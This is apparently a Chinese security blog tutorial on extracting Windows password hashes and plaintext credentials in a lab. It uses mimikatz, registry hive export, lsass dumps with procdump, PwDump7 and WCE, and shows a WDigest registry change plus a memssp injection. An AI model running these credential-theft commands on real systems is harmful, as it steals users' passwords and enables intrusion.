Windows密码凭证获取学习

最新推荐文章于 2024-05-08 11:33:47 发布
最新推荐文章于 2024-05-08 11:33:47 发布
阅读量4.4k 收藏 25
点赞数 1
分类专栏： 工具 文章标签： 乌鸦安全 windows 密码 NTLM
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/csdnmmd/article/details/126221638
版权

img

本文首发乌鸦安全知识星球！

公众号：乌鸦安全

更新时间：2022.08.04

1. 说明

本文参考了大量的第三方文档，参考资料如下，感谢各位师傅的帮助。

https://www.secrss.com/articles/24903
https://mp.weixin.qq.com/s/jW2tUXkiBaC6PiF-kRWb1Q
https://mp.weixin.qq.com/s/As4YZ8XDWCfBfieDUU30Ow
https://mp.weixin.qq.com/s/4nlyOIuyQZ9h0Bb5jQO4wQ
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://mp.weixin.qq.com/s/-pijbPocXG8bSDU-l4i4RA
https://zhuanlan.zhihu.com/p/57800688
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://xz.aliyun.com/t/10734#toc-2

2. Windows获取凭证或密码

一般来说，在我们获取到Windows的system权限之后，一般都喜欢去看下密码，哪怕是hash，也想尝试去解一下，Windows下的安全认证机制总共有两种，一种是基于NTLM的认证方式，主要用在早期的Windows工作组环境中；另一种是基于Kerberos的认证方式，主要用在域环境中。
关于NTLM的知识，在这里就不在展开了，有兴趣的可以去搜下。

3. 环境准备

本次环境共准备了Windows server2003、Windows7、Windows10、Windows server2012，按照他们的特点，有针对的进行实操获取。
本文默认已获取system权限的情况下进行操作。

4. 获取密码或hash方法

4.1 ** Mimikatz**

这个神器肯定是大家都不陌生的， 以前我也写过关于这个工具的免杀。
原版工具：https://github.com/gentilkiwi/mimikatz
image.png
使用方法：

privilege::debug 
提升权限，返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

4.1.1 server2003

systeminfo查看当前的电脑是32位的，所以在这里就使用32位的来试下：
image.png

执行命令之后可以直接获取到明文：

privilege::debug 
sekurlsa::logonpasswords

image.png

4.1.2 windows10

在这里先关闭Windows10的Windows defender，在这里并不对其进行免杀研究，直接使用x64位的之后，来获取hash：
image.png

执行命令之后只能够获取hash，不能够直接获取明文：

image.png

209c6174da490caeb422f3fa5a7ae634

可以通过第三方的方式来获取密码：
image.png

当然，mimikatz也可以使用非交互的方式来获取hash：

mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

image.png

image.png

4.2 注册表导出hash

有时候，因为某些问题，导致无法直接获取hash，所以在这里还可以使用注册表导出hash的方式来进行，具体的步骤如下：
在靶机上使用以下命令（需要system权限）：

靶机上执行：
reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save hklm\security security.hiv


在本地使用mimikatz执行：
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

4.2.1 server2003

打开cmd执行命令，导出system.hiv，sam.hiv，security.hiv文件：

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv

image.png

最后使用mimikatz执行，在非靶标机器上，不需要system权限：

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

image.png

RID  : 000001f4 (500)
User : Administrator
  Hash LM  : f0d412bd764ffe81aad3b435b51404ee
  Hash NTLM: 209c6174da490caeb422f3fa5a7ae634

直接去查询即可。

4.2.2 Windows10

使用同样的方法导出之后再解密：
image.png

获取到hash信息：

image.png

User : admin
  Hash NTLM: 209c6174da490caeb422f3fa5a7ae634

4.3 pass64.exe

这个文件是我早些时候渗透的时候获得的，在win7、8等低于Windows10的系统上（这种说法不严谨），使用system权限运行能够直接获取64位系统的账号和密码信息。
这个工具应该是PwDump7工具的魔改版本。
在win10上因为无法获取账号密码报错：
image.png

win7环境下：
image.png

4.4 PwDump7

https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip
image.png

4.4.1 server2003

可以在Windows2003上执行，手工将得到的结果保存在1.txt中：
PwDump7.exe > 1.txt
image.png

Administrator:500:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:E0BD9A807066324A42B519FF5BEFF787:::
IUSR_TEST-D19EBC014E:1003:D4A491469B36E4DEDFF5B37B55778470:2471C03E798817564147AAA062FE8E22:::
IWAM_TEST-D19EBC014E:1004:CE5EF4E001CFA44F29C8D4F0A6CA5261:15F2DD2C17E53DD2FB0E43A1F6B1DFD6:::
ASPNET:1006:6FF5F98464BA40B4762AEFFACC0990D3:E1C2E3693E2A0392D8F625BB47CA78C1:::
test:1007:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::

4.4.2 windows10

image.png

4.5 Procdump+Mimikatz

ProcDump是一个命令行程序，可以将系统正在运行的进程转存储生成为dump文件，微软自己的工具，理论上来说不应该会被杀。
它的原理是Procdump导出lsass.exe的转储文件，使用mimikatz读取器中的hash。
如果对方机器是win10以下的，都可以获取明文密码。

地址：https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
使用方法：
先dump出lsass.exe：

32位：
procdump.exe -accepteula -ma lsass.exe lsass.dmp

64位：
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

mimikatz读取：

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.5.1 server2003

无法使用
image.png

4.5.2 Windows10

执行命令：

procdump.exe -accepteula -ma lsass.exe lsass.dmp

image.png

然后使用mimikatz读取：

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

image.png

4.6 WCE

官网地址：
https://www.ampliasecurity.com/research.html
32位下载：
https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位下载：
https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
image.png

参数解释:
-l          列出登录的会话和NTLM凭据（默认值）
-s               修改当前登录会话的NTLM凭据 参数：<用户名>:<域名>:<LM哈希>:<NT哈希>
-r                不定期的列出登录的会话和NTLM凭据，如果找到新的会话，那么每5秒重新列出一次
-c               用一个特殊的NTML凭据运行一个新的会话 参数：<cmd>
-e               不定期的列出登录的会话和NTLM凭据，当产生一个登录事件的时候重新列出一次
-o               保存所有的输出到一个文件 参数:<文件名>
-i                指定一个LUID代替使用当前登录会话 参数:<luid>
-d               从登录会话中删除NTLM凭据 参数:<luid>
-a               使用地址 参数: <地址>
-f                强制使用安全模式
-g               生成LM和NT的哈希 参数<密码>
-K               缓存kerberos票据到一个文件（unix和windows wce格式）
-k               从一个文件中读取kerberos票据并插入到windows缓存中
-w              通过摘要式认证缓存一个明文的密码
-v               详细输出

使用方法：wce.exe -l或者直接wce。

4.6.1 server2003

image.png

4.6.2 Windows10

无法使用：
image.png

4.6.3 Windows7

正常执行：
image.png

4.7 SqlDumper + mimikatz（失败）

因为没有安装sqlserver，可能导致最后无法执行成功。
可以从https://www.xiazaiba.com/html/35382.html下载工具（我在win10 defender下是默认无毒的）
首先查看下当前lsass.exe的进程号：
tasklist /svc |findstr lsass.exe

image.png

找到Sqldumper.exe的安装路径，使用管理员权限的cmd导出dump文件，使用方法：

Sqldumper.exe ProcessID 0 0x01100

在这里使用就是：（失败）
image.png
放一个成功的图：
image.png

3.mimikatz加载dump文件
mimikatz.exe"sekurlsa::minidumpSQLDmpr0001.mdmp"“sekurlsa::logonPasswords full”“exit”
image.png

5. Windows获取明文密码

在这里主要是获取Windows高版本的明文密码，因为在Windows2012系统及以上的系统，默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文，需要用户重新登录后才能成功抓取。
本次环境Windows server2012，本文默认已获取system权限的情况下进行操作。
而且本文不讨论抓取密码工具或方法的免杀方式。

6. 获取明文密码方法

6.1 修改注册表

前提条件：

  • system权限
  • 需要锁屏后重新登录

在这里依旧使用mimikatz进行密码的抓取，默认情况下是无法获取明文信息的：

privilege::debug 
提升权限，返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

image.png

使用命令行将其修改成记录明文密码，在这里需要注意使用管理员权限来执行：

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

image.png

再使用命令锁屏：（这个命令可以使用用户权限来执行）
image.png

rundll32.exe user32.dll,LockWorkStation

接下来等待用户再次登录一次就可以抓到了：
image.png

如果说在修改之后抓取到了密码，想要恢复对方的注册表，只需要执行下面的命令即可：（依旧需要使用管理员权限）

修改不记录明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

image.png
再次重启下就可以了：（锁屏无效）

privilege::debug 
提升权限，返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

image.png

6.2 mimikatz插ssp记录密码

需要的条件：

  • system权限
  • 锁屏并重新登入

在这里使用mimikatz来实现：

privilege::debug

misc::memssp

image.png

修改完之后使用以下命令锁屏：rundll32.exe user32.dll,LockWorkStation
然后在以下目录下发现明文密码：

C:\Windows\System32\mimilsa.log

image.png

7. 总结

其实还有很多的其他方法，在这里就不进行一个个演示了，而且在这里并没有对其是否免杀的能力进行测试，对于不同的环境，免杀的方法也不相同，等以后有时间再学习下。

乌鸦安全
关注
  • 1
    点赞
  • 踩
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
如何在Windows 10中查找保存的密码？这里提供详细的步骤
wyxtx的博客
04-10 983
如何在Windows 10中查找保存的密码？许多程序和网站通常会提示其用户保存密码，以便以后在其PC和手机中使用。这通常存储在Instant Messenger、Windows Live Messenger等软件上，Google Chrome、Internet Explorer、Microsoft Edge、Mozilla Firefox、Opera（适用于PC和智能手机）等流行浏览器也提供了此密码保存功能。
获取本机所有明文密码
08-15
标题中的“获取本机所有明文密码”暗示了一个关于计算机安全和密码提取的话题。这个工具似乎设计用于在Windows操作系统中揭示存储的各种密码，包括浏览器保存的登录凭据和电子邮件等系统的密码。这样的程序可能对...
windows凭证密码
weixin_42143904的博客
09-29 640
查看windows凭证密码，注意有报木马 https://www.nirsoft.net/utils/network_password_recovery.html
查看window电脑的凭据密码（netpass）
最新发布
jj2320711457的博客
05-08 631
根据自身的windows版本下载对应的版本，解压密码：ntps5291#
Network Password Recovery工具查看windows凭据隐藏密码
liu_6036_doom的博客
02-15 8633
查看windows凭据密码 方法一： 使用重装系统工具里面自带的修改密码工具来修改或者清除密码。 方法二： 查看windows凭据密码，这里居然看不了 需要用到 nirsoft 公司做的免费工具Network Password Recovery注意下载版本，分32位、64位版本，如果版本不对应是显示不出密码的！ 如果你们无法下载可以用我已下载好的软件包： 链接：https://pan.baidu.com/s/1Aq479rN1MLgSLnY7_jnncg 提取码...
查看Windows凭据和普通凭据的密码（查看Windows中存储的密码）——mimikatz
热门推荐
一碗单炒饭的专栏
02-10 6万+
使用mimikatz进行Windows中存储的密码查看 查看Windows为你管理的凭据 路径：控制面板\所有控制面板项\凭据管理器 软件下载 https://github.com/gentilkiwi/mimikatz/releases 下载完成后，以管理员方式运行mimikatz 查看Windows凭据 输入下方两个指令(#号后面的) mimikatz # privilege::debug...
获取windows凭证管理器明文密码
weixin_30897079的博客
04-26 1万+
1.运行cmdkey /list查看windows保存凭证 方法1.mimikaz mimikatz vault::cred 2.利用powershell尝试获取 windows 普通凭据类型中的明文密码 powershell-import F:\tools\powershell脚本\Invoke-WCMDump.ps1 powershell Invoke-WCMDd...
笔记篇 忘记windows密码怎么办，教你五招
ExtraordinaryStarlab的博客
06-09 2万+
方法一 在开机时，按下F8进入”带命令提示符的安全”模式 输入”NET USER+用户名+123456/ADD”可把某用户的密码强行设置为”123456″ 方法二 如用户忘记登入密码可按下列方法解决 1.在计算机启动时按〔F8〕及选〔Safe Mode With Command Prompt〕 2.选〔Administrator〕后便会跳出〔Command Prompt〕的窗口 3.用〔Net〕的命令增加一个用户，例：增加一个用户名为alanhkg888，命令语法如下： net user alanhkg88
windows账户安全(通过mimikatz、Jhon获取用户密码)
qq_62729556的博客
07-23 1992
使用命令“john-format=NT hash.txt”使用Jhon自带的字典碰撞hash值进行破解。第一步：使用管理员权限，切换到c盘路径，执行命令“reg save hklm\sam sam.hive”和“reg save hklm\system system.hive”将注册表中SAM、System文件导出到本地磁盘。命令“ samdump2 system.hive sam.hive > hash.txt ” 使用sam dump 2工具将sam数据库文件破解成可识别的NTLM hash。
读取 Windows Hash 密码两种方式
weixin_46079186的博客
12-10 930
管理员执行cmd reg save HKLM\SYSTEM C:\sys.hiv reg save HKLM\SAM C:\sam.hiv 导出注册表文件 下载mimikatz https://github.com/gentilkiwi/mimikatz/releases 配置环境变量 我们在c盘目录下，命令行直接执行 mimikatz.exe lsadump::sam /sam:sam.hiv /system:sys.hiv ...
获取Windows明文密码mimikatz2.2-x64.rar
03-19
标题 "获取Windows明文密码mimikatz2.2-x64.rar" 指向的是一个使用Mimikatz工具来提取Windows系统中明文密码的过程。Mimikatz是一款由法国安全研究员Benjamin Delpy开发的开源工具，主要用于系统安全分析，特别是...
mimikatz.exe windows密码查看
07-12
cls-----------------------------清屏 exit----------------------------退出 version------------查看mimikatz的版本 system::user-----查看当前登录的系统用户 system::computer-------查看计算机名称 process::list------------------列出进程 process::suspend 进程名称 -----暂停进程 process::stop 进程名称---------结束进程 process::modules --列出系统的核心模块及所在位置 service::list---------------列出系统的服务 service::remove-----------移除系统的服务 service::start stop 服务名称--启动或停止服务 privilege::list---------------列出权限列表 privilege::enable--------激活一个或多个权限 privilege::debug-----------------提升权限------------------ nogpo::cmd------------打开系统的cmd.exe nogpo::regedit -----------打开系统的注册表 nogpo::taskmgr-------------打开任务管理器 ts::sessions-----------------显示当前的会话 ts::processes------显示进程和对应的pid情况等 sekurlsa::wdigest-----获取本地用户信息及密码 sekurlsa::tspkg------获取tspkg用户信息及密码 sekurlsa::logonPasswords--获登陆用户信息及密码----------------
GINA_获取密码
07-11
【GINA_获取密码】是针对Windows操作系统的一个特殊知识点，主要涉及到Windows登录认证机制和密码获取的技术。在Windows系统中，GINA（Generic Interface for Network Authentication）是图形身份验证接口，它负责...
windows 密码抓捕神器mimikatz
08-15
Mimikatz，这款被称为“Windows密码抓捕神器”的工具，是由法国安全研究员Benjamin Delpy所创建的一款轻量级调试器。在IT安全领域，尤其是渗透测试和安全研究中，Mimikatz因其强大的功能而备受推崇。它能够帮助安全...
Mimikatz Windows 密码抓取神器
05-27
1. **LSA（Local Security Authority）密码获取**：LSA是Windows系统中负责认证和授权的组件。Mimikatz 可以直接从LSA的内存中读取未加密的密码数据，包括用户登录密码、域控制器的NTLM哈希以及 Kerberos TGT...
凭证窃取的几种方式
Wawyw's Blog
07-19 1087
0x01 Windows登录凭证窃取 Windows的系统密码hash默认情况下一般由两部分组成：第一部分是LM-hash，第二部分是NTLM-hash。它们都是用户密码经过hash加密后的形式。 Windows系统下hash密码格式为：用户名称:RID:LM-HASH值:NT-HASH值。 例如： Administrator:500:AF01DF70036EBACFAAD3B435B51404EE:44F077E27F6FEF69E7BD834C7242B040 用户名称为：Administrato
windows凭据密码怎么查看_怎么查看wifi密码
weixin_39993623的博客
12-12 2016
　　想要连接wifi密码，不过由于家中无线路由器Wifi密码刚好给忘记了。对于这种情况，我们又该如何获取Wifi密码呢? 下面，以最新Win10系统为例，教大家如何查看Wifi密码。怎么查看wifi密码　　查看笔记本已经连接的Wifi密码方法　　步骤1、在Windows 10桌面最左下角的【Windwos开始图标上右键】，在弹出的菜单中点击打开【网络连接】；　　步骤2、在打开的网络连接设置中，双击...
使用mimikatz获取windows密码凭证
cuteyann的博客
05-17 1373
（如果出现以下报错：ERROR kuhl_m_privilege_simple;RtlAdjustPrivilege (20) c0000061 说明你不是管理员权限）下载地址：https://github.com/gentilkiwi/mimikatz/releases。1、开启mimikatz。工具：mimikatz。
密码抓取--reg免杀抓hash
网络安全。
02-13 1144
1、下载下面3个文件 reg save HKLM\SYSTEM sys.hiv reg save HKLM\SAM sam.hiv reg save hklm\security security.hiv 2、获取密码hash 方法1：使用mimikatz（本地机器系统与位数最好与目标主机保持一致） mimikatz.exe “lsadump::sam /system:sys.hiv /sam:...
如何获取windows凭证
06-02
Windows 凭证管理器是 Windows 系统的一部分，它存储了一些敏感信息，例如登录名和密码。如果您具有管理员权限，可以使用以下步骤打开 Windows 凭证管理器： 1. 打开控制面板，选择“凭证管理器”。 2. 在“Windows 凭证”或“Web 凭证”下，选择您要查看的凭证。 3. 单击“属性”，您可以查看存储在凭证中的详细信息。 请注意，在获取他人密码等私人信息之前，请确保您已获得合法的许可和授权。否则，这可能会违反道德和法律规定。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值